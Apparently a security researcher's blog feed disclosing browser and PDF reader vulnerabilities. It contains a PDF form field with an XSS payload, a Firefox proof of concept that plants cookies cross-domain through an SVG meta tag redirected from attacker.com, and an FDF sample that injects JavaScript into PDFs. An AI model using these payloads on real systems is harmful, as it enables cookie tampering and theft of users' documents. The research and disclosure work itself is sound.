</span><span style="background-color: yellow;"><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; color: #808030;">%</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial;"> SPECIFIES THE </span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; color: #400000;">FORMAT</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial;"> </span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; color: #808030;">AND</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial;"> OTHER FORM RELATED CONFIGURATION</span></span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Flags </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">6</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);">endobj</span><span style="background-color: white;">
</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #008c00;">22</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> obj</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Fields </span><span style="background: rgb(255 , 255 , 232); color: #808030;">[</span><span style="background: rgb(255 , 255 , 232); color: #008c00;">23</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> R</span><span style="background: rgb(255 , 255 , 232); color: #808030;">]</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);">endobj</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #008c00;">23</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> obj</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">DA </span><span style="background: rgb(255 , 255 , 232); color: #808030;">(</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Helv </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">12</span><span style="background: rgb(255, 255, 232);"> Tf </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> g</span><span style="background: rgb(255 , 255 , 232); color: #808030;">)</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">F </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">4</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">FT </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Tx</span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Rect </span><span style="background: rgb(255 , 255 , 232); color: #808030;">[</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: green;">9.526760</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: green;">680.078003</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: green;">297.527008</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: green;">702.078003</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">]</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Subtype </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Widget</span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255 , 255 , 232); color: #400000;">Type</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Annot</span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);"> </span><span style="background-color: yellow;"><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; color: #808030;">%</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial;"> PARAMETER </span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; color: #400000;">NAME</span></span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">T </span><span style="background: rgb(255 , 255 , 232); color: #808030;">(</span><span style="background: rgb(255, 255, 232);">xss</span><span style="background: rgb(255 , 255 , 232); color: #808030;">)</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);"> </span><span style="background-color: yellow;"><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; color: #808030;">%</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial;"> PARAMETER PAYLOAD</span></span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">V </span><span style="background: rgb(255 , 255 , 232); color: #808030;">(</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background: rgb(255, 255, 232);">script</span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background: rgb(255 , 255 , 232); color: #666616;">alert</span><span style="background: rgb(255 , 255 , 232); color: purple;">\</span><span style="background: rgb(255 , 255 , 232); color: #808030;">(</span><span style="background: rgb(255 , 255 , 232); color: #008c00;">1</span><span style="background: rgb(255 , 255 , 232); color: purple;">\</span><span style="background: rgb(255 , 255 , 232); color: #808030;">)</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">script</span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background: rgb(255 , 255 , 232); color: #808030;">)</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">P </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">4</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> R</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);">endobj</span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);">trailer</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Root </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">1</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> R</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span></pre>
</pre>
</pre>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Just try it yourself. If you have any question, feel free to contact me on <a href="https://twitter.com/insertScript">twitter</a>.<br />
To stop the attack from working, you need to enable Protected View: https://helpx.adobe.com/reader/using/protected-mode-windows.html</div>
<div>
<br /></div>
<div>
<br /></div>
Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-67145064123398141792016-12-06T02:15:00.001-08:002016-12-06T03:15:15.235-08:00Firefox - SVG cross domain cookie vulnerability<h2>
SVG - Setting cookies cross domain via img tag</h2>
<div>
<br /></div>
<div>
I recently read that browsers allow to use meta tags to set cookies. I am not sure if I just forgot about this feature or never used it before. As I played with SVG in the past I decided to give it a try. </div>
<div>
The SVG standard does not include the meta tag but it supports the foreignobject tag:</div>
<div>
<br /></div>
<div>
<i>The <foreignObject> SVG element allows for inclusion of a foreign XML namespace which has its graphical content drawn by a different user agent.</i></div>
<div>
<i><br />
</i></div>
<div>
An simple example taken from <a href="https://developer.mozilla.org/en/docs/Web/SVG/Element/foreignObject">mdn </a>shows how to use the XHTML namespace inside a SVG file:</div>
<div>
<pre style="background: rgb(255, 255, 255);"><<span style="color: #5f5035;">foreignObject</span><span style="color: #274796;"> </span><span style="color: #074726;">width</span><span style="color: #808030;">=</span><span style="color: #0000e6;">"100"</span><span style="color: #274796;"> </span><span style="color: #074726;">height</span><span style="color: #808030;">=</span><span style="color: #0000e6;">"50"</span></pre>
<pre style="background: rgb(255, 255, 255);"><span style="color: #274796;">requiredExtensions</span><span style="color: #808030;">=</span><span style="color: #0000e6;">"http://www.w3.org/1999/xhtml"</span><span style="color: #a65700;">></span></pre>
<pre style="background: rgb(255, 255, 255);"><span style="color: dimgrey;"><!-- XHTML content goes here --></span>
<span style="color: #a65700;"><</span><span style="color: maroon; font-weight: bold;">body</span><span style="color: #274796;"> </span><span style="color: #074726;">xmlns</span><span style="color: #808030;">=</span><span style="color: #0000e6;">"http://www.w3.org/1999/xhtml"</span><span style="color: #a65700;">></span>
<span style="color: #a65700;"><</span><span style="color: maroon; font-weight: bold;">p</span><span style="color: #a65700;">></span>Here is a paragraph that requires word wrap<span style="color: #a65700;"></</span><span style="color: maroon; font-weight: bold;">p</span><span style="color: #a65700;">></span>
<span style="color: #a65700;"></</span><span style="color: maroon; font-weight: bold;">body</span><span style="color: #a65700;">></span>
<span style="color: #a65700;"></</span><span style="color: #5f5035;">foreignObject</span><span style="color: #a65700;">></span></pre>
<pre style="background: rgb(255, 255, 255);"></pre>
<h3 style="background: rgb(255, 255, 255);">
</h3>
<h3 style="background: rgb(255, 255, 255);">
Setting the cookie</h3>
</div>
<div>
<br /></div>
I adapted the example and pointed the Browser to the following SVG:<br />
<pre style="background: rgb(255, 255, 255);"><span style="color: #a65700;"><</span><span style="color: maroon; font-weight: bold;">svg</span> <span style="color: #666616;">xmlns</span><span style="color: #808030;">=</span><span style="color: maroon;">'</span><span style="color: #666616;">http</span><span style="color: purple;">:</span><span style="color: maroon; font-weight: bold;">//</span><span style="color: #5555dd;">www.w3.org</span><span style="color: #40015a;">/2000/svg</span><span style="color: maroon;">'</span><span style="color: #a65700;">></span>
<span style="color: #a65700;"><</span><span style="color: maroon; font-weight: bold;">circle</span> <span style="color: #074726;">r</span><span style="color: #808030;">=</span><span style="color: maroon;">'</span><span style="color: #008c00;">100</span><span style="color: maroon;">'</span><span style="color: #a65700;">></span>
<span style="color: #a65700;"></</span><span style="color: maroon; font-weight: bold;">circle</span><span style="color: #a65700;">></span>
<span style="color: #a65700;"><</span><span style="color: #5f5035;">foreignObject</span><span style="color: #a65700;">></span>
<span style="color: #a65700;"><</span><span style="color: #5f5035;">html</span> <span style="color: #666616;">xmlns</span><span style="color: #808030;">=</span><span style="color: maroon;">'</span><span style="color: #666616;">http</span><span style="color: purple;">:</span><span style="color: maroon; font-weight: bold;">//</span><span style="color: #5555dd;">www.w3.org</span><span style="color: #40015a;">/1999/xhtml</span><span style="color: maroon;">'</span><span style="color: #a65700;">></span>
<span style="color: #a65700;"><</span><span style="color: #5f5035;">meta</span> <span style="color: #274796;">http-equiv</span><span style="color: #808030;">=</span><span style="color: maroon;">'</span><span style="color: #0000e6;">Set-Cookie</span><span style="color: maroon;">'</span> <span style="color: #274796;">content</span><span style="color: #808030;">=</span><span style="color: maroon;">'</span><span style="color: #0000e6;">ppp=qqq</span><span style="color: maroon;">'</span> <span style="color: #a65700;">/></span>
<span style="color: #a65700;"></</span><span style="color: #5f5035;">html</span><span style="color: #a65700;">></span>
<span style="color: #a65700;"></</span><span style="color: #5f5035;">foreignObject</span><span style="color: #a65700;">></span>
<span style="color: #a65700;"></</span><span style="color: maroon; font-weight: bold;">svg</span><span style="color: #a65700;">></span></pre>
<div style="background: rgb(255, 255, 255);">
The hosting domain now has a cookie ppp=qqq.</div>
<div style="background: rgb(255, 255, 255);">
The next step was to try, what will happen if another domain is loading this SVG file:</div>
<div style="background: rgb(255, 255, 255);">
// Domain: <b>http://example.com</b><br />
<span style="color: #004a43;"><!DOCTYPE html></span></div>
<pre style="background: rgb(255, 255, 255);"><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial;"><span style="color: #a65700;"><</span><span style="color: maroon; font-weight: bold;">body</span><span style="color: #a65700;">></span>
<span style="color: #a65700;"><</span><span style="color: maroon; font-weight: bold;">img</span><span style="color: #274796;"> </span><span style="color: #074726;">src</span><span style="color: #808030;">=</span><span style="color: #0000e6;">"http://attacker.com/cookie.svg"</span><span style="color: #a65700;">></span>
<span style="color: #a65700;"></</span><span style="color: maroon; font-weight: bold;">body</span><span style="color: #a65700;">></span></pre>
</pre>
<div style="background: rgb(255, 255, 255);">
Sadly the cookie was set for attacker.com, not for example.com.</div>
<div style="background: rgb(255, 255, 255);">
<br /></div>
<h3 style="background: rgb(255, 255, 255);">
Redirects + data uris</h3>
<div>
The final trick to make things work was to use the data: protocol handler and redirects.</div>
<div>
Assume the following code on the domain example.com<br />
<div style="background: rgb(255, 255, 255);">
<div style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial;">
<span style="color: #004a43;"><!DOCTYPE html></span></div>
<pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial;"><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial;"><span style="color: #a65700;"><</span><span style="color: maroon; font-weight: bold;">body</span><span style="color: #a65700;">></span>
<span style="color: #a65700;"><</span><span style="color: maroon; font-weight: bold;">img</span><span style="color: #274796;"> </span><span style="color: #074726;">src</span><span style="color: #808030;">=</span><span style="color: #0000e6;">"http://attacker.com/cookie"</span><span style="color: #a65700;">></span>
<span style="color: #a65700;"></</span><span style="color: maroon; font-weight: bold;">body</span><span style="color: #a65700;">></span></pre>
</pre>
</div>
</div>
<div>
<div style="background: rgb(255, 255, 255);">
The webserver at attacker.com uses the following response code:</div>
</div>
<div>
<br /></div>
<div style="background: rgb(255, 255, 255);">
<span style="font-family: "courier new" , "courier" , monospace;">HTTP 302 Found</span></div>
<div style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial;">
<span style="font-family: "courier new" , "courier" , monospace;"><span style="background-color: white;">Location: </span><span style="background-color: transparent;">data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'></span><span style="background-color: yellow;"><meta http-equiv='Set-Cookie' content='ppp=qqq' /></span><span style="background-color: transparent;"></html></foreignObject></svg></span></span></div>
<div style="background: rgb(255, 255, 255);">
<br /></div>
<div style="background: rgb(255, 255, 255);">
<br /></div>
<div style="background: rgb(255, 255, 255);">
As soon as I opened this test case in Firefox, a cookie was set for example.com. This can introduce a lot of different vulnerabilities for web pages, which allow to include images from external/third party sites.<br />
Another issue popped up during the investigation of the issue via the firefox team, which can be read here as soon it is public:<br />
<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1317641#c20">https://bugzilla.mozilla.org/show_bug.cgi?id=1317641#c20</a><br />
<br />
The bug bounty decision is still in progress.<br />
<br />
I have to thank my Cure53 mates, who helped playing with this vulnerability (especially <a href="https://twitter.com/kinugawamasato">Masato</a>)<br />
:)<br />
<br />
<br /></div>
<div style="background: rgb(255, 255, 255);">
<br /></div>
<pre style="background: rgb(255, 255, 255);"><span style="color: #a65700;">
</span></pre>
<pre style="background: rgb(255, 255, 255);"><span style="color: #a65700;">
</span></pre>
<pre style="background: rgb(255, 255, 255);"><span style="color: #a65700;">
</span></pre>
<pre style="background: rgb(255, 255, 255);"><span style="color: #a65700;">
</span></pre>
Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-69379401787723200942016-10-23T04:48:00.002-07:002017-01-14T08:54:21.533-08:00PDF - How to steal PDFs by injecting JavaScript<br />
<h2>
Intro</h2>
<div>
<br /></div>
<div>
<span style="font-family: inherit;">Quite some time has passed since my last blog post, so I decided to present a nice feature of PDF. I will use a made up example to demonstrate how to inject JavaScript into a static PDF, which does not contain any attacker controlled data.</span><br />
<span style="color: red;">This bug was fixed on January 10, 2017.</span><br />
<span style="color: red;">Adobe Reader now displays a warning dialog for injected JavaScript via Additional Action.</span></div>
<div>
<br /></div>
<div>
<br /></div>
<h2>
The scenario</h2>
<div>
<span style="font-family: inherit;"><br />
</span></div>
<div>
<span style="font-family: inherit;">The EB or "example Bank" at example.com offers a member area for customers. After an user is logged in he can view PDFs, which contain important account information. One of the PDFs is available via http://example.com/data.pdf. </span></div>
<div>
<span style="font-family: inherit;">How can an attacker inject JavaScript into this PDF, assuming that the victim is logged in, and steal it?</span></div>
<div>
<br /></div>
<div>
<br /></div>
<h2>
Injection Point: Welcome Open Parameters</h2>
<div>
<span style="font-family: inherit;">Normally internal PDF features are used to load external content via one of the <a href="http://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=652">action types</a> or JavaScript, which offers different function calls like <a href="http://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/js_api_reference.pdf#page=345">submitForm </a>to load external content. </span></div>
<div>
<span style="font-family: inherit;">But as stated above, the PDF is static and the attacker can't influence it at all. </span></div>
<div>
<span style="font-family: inherit;">Thankfully PDF supports a list of URL parameters called <a href="http://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_open_parameters.pdf">open parameters</a>. </span></div>
<div>
<span style="font-family: inherit;">Most parameters are pretty boring besides the last one in the list:</span></div>
<div>
<span style="font-family: inherit;"><br />
</span></div>
<div>
<b><span style="font-family: inherit;">Parameter:</span></b></div>
<div>
<div>
<span style="font-family: inherit;">fdf=URL</span></div>
<div>
<span style="font-family: inherit;"><br />
</span></div>
<div>
<b><span style="font-family: inherit;">Description:</span></b></div>
<div>
<i><span style="font-family: inherit;">Specifies an <b>FDF file</b> to populate form fields in the PDF file being opened. For example:</span></i></div>
<div>
<i><span style="font-family: inherit;">#fdf=http://example.org/doc.fdf</span></i></div>
<div>
<i><span style="font-family: inherit;">Note: The fdf parameter should be specified last in a URL.</span></i></div>
</div>
<div>
<i><span style="font-family: inherit;"><br />
</span></i></div>
<div>
<i><span style="font-family: inherit;"><br />
</span></i></div>
<div>
<span style="font-family: inherit;">FDF? It could be that some of you are not familiar with this file type so lets talk about the form data format:</span></div>
<div>
<br /></div>
<h2>
What is: XDP,XFDF and FDF?</h2>
<div>
<b><span style="font-family: inherit;">XDP</span></b></div>
<div>
<b><span style="font-family: inherit;">--------------------------------------------</span></b></div>
<div>
<span style="font-family: inherit;">I am not going to talk much about XDP, as it will not be used for the attack, but here is the description taken from Wikipedia</span><span style="font-family: inherit;">:</span></div>
<div>
<span style="font-family: inherit;"><br />
</span></div>
<div>
<span style="font-family: inherit;"><span style="background-color: white; color: #252525;"><i>Wikipedia</i>:</span><b style="background-color: white; color: #252525;"> "<i>XML Data Package</i></b><i><span style="background-color: white; color: #252525;"> (</span><b style="background-color: white; color: #252525;">XDP</b><span style="background-color: white; color: #252525;">) is an </span>XML<span style="background-color: white; color: #252525;"> </span>file format<span style="background-color: white; color: #252525;"> created by </span>Adobe Systems<span style="background-color: white; color: #252525;"> in 2003. It is intended to be an XML-based companion to </span>PDF<span style="background-color: white; color: #252525;">. It allows PDF content and/or Adobe </span>XML Forms Architecture<span style="background-color: white; color: #252525;"> (XFA) resources to be packaged within an XML </span>container</i><span style="background-color: white; color: #252525;"><i>.</i>"</span></span></div>
<div>
<span style="font-family: inherit;"><br />
</span></div>
<div>
This feature was mostly used to evade AV detection:<br />
<span style="font-family: inherit;">http://shiftordie.de/blog/2011/02/09/evading-avs-using-the-xml-data-package-xdp-format/</span></div>
<div>
<span style="color: #252525; font-family: sans-serif;"><span style="font-family: inherit; font-size: 14px;"><br />
</span></span></div>
<div>
<div>
<b><span style="font-family: inherit;"><br />
</span></b></div>
<div>
<b><span style="font-family: inherit;">FDF & XFDF</span></b></div>
<div>
<b><span style="font-family: inherit;">--------------------------------------------</span></b></div>
</div>
<div>
<b><span style="font-family: inherit;"><br />
</span></b></div>
<div>
<span style="font-family: inherit;">XFDF is the XML version of FDF. As it only contains a subset of FDF, I won't discuss it. </span></div>
<div>
<span style="font-family: inherit;">Simply speaking <a href="http://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=710">FDF </a>can contain JavaScript, Form Data, Annotations or even complete PDF Pages (although I never managed to make this feature work).</span></div>
<div>
<span style="font-family: inherit;">A sample structure looks like this: </span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br />
</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">%FDF-1.2</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">%âãÏÓ</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">1 0 obj</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><<</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">/FDF <<</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><span style="background-color: yellow;">/JavaScript</span> << </span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><span style="background-color: yellow;">/After</span> (app.alert('after'))</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">/Doc [</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">(PlusOne)(app.alert('42');</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">app.alert(URL);console.show();)</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> ] >></span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">/ID[<7a0631678ed475f0898815f0a818cfa1><bef7724317b311718e8675b677ef9b4e>]</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><span style="background-color: yellow;">/Fields</span>[</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <</T(Street)/V(345 Park Ave.)>></span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> <</T(City)/V(San Jose)>></span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> ]</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> >></span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">>></span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">endobj</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">trailer</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><<</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">/Root 1 0 R</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br />
</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">>></span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">%%EOF</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br />
</span> <br />
<br /></div>
<div>
</div>
<div>
<span style="font-family: inherit;">The general structure of FDF is the same as PDF. It needs a header eg. %FDF-<version> or the trailer object to specify the start objects. This example already shows two possible Keys, <i>JavaScript </i>and <i>Fields</i>. The <i>Fields </i>key allows it to specify a value for an existing form field in the existing PDFs. The <i>JavaScript </i>key allows to include JavaScript, which is executed in the loading PDF. The <i>After </i>key is executed as soon as the whole FDF is imported. The <i>Doc</i> key defines an array, which contains additional <i>JavaScript </i>scripts to be added to those defined in the JavaScript entry of the document’s name dictionary. So all the necessary ingredients for a working attack are there, right? Wrong! This is what happens if the following FDF is loaded in a PDF:</span><br />
<span style="font-family: inherit;"><br />
</span></div>
<div>
<span style="font-family: inherit;"><b>URL:</b> http://example.com/fdf/asd.pdf#FDF=http://example.com/x_adat.fdf</span></div>
<div>
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAV0a3WaT18hxBkaM1qL6bF-rOdJav6EN-zACVJvRvUfsyziy_Hq9HLgtmecIsEAhOW-HGTy9f56eppwsIVR0tOFOE7nY1I-NceiNvvOKcKbHANcp2YBJii8MWKNxzQF_J7gTZMhJKBWaM/s1600/warning2.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="187" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAV0a3WaT18hxBkaM1qL6bF-rOdJav6EN-zACVJvRvUfsyziy_Hq9HLgtmecIsEAhOW-HGTy9f56eppwsIVR0tOFOE7nY1I-NceiNvvOKcKbHANcp2YBJii8MWKNxzQF_J7gTZMhJKBWaM/s640/warning2.PNG" width="540" /></a></div>
</div>
<div>
<span style="color: #252525; font-family: sans-serif;"><span style="font-family: inherit; font-size: 14px;"><br />
</span></span></div>
<div>
<br />
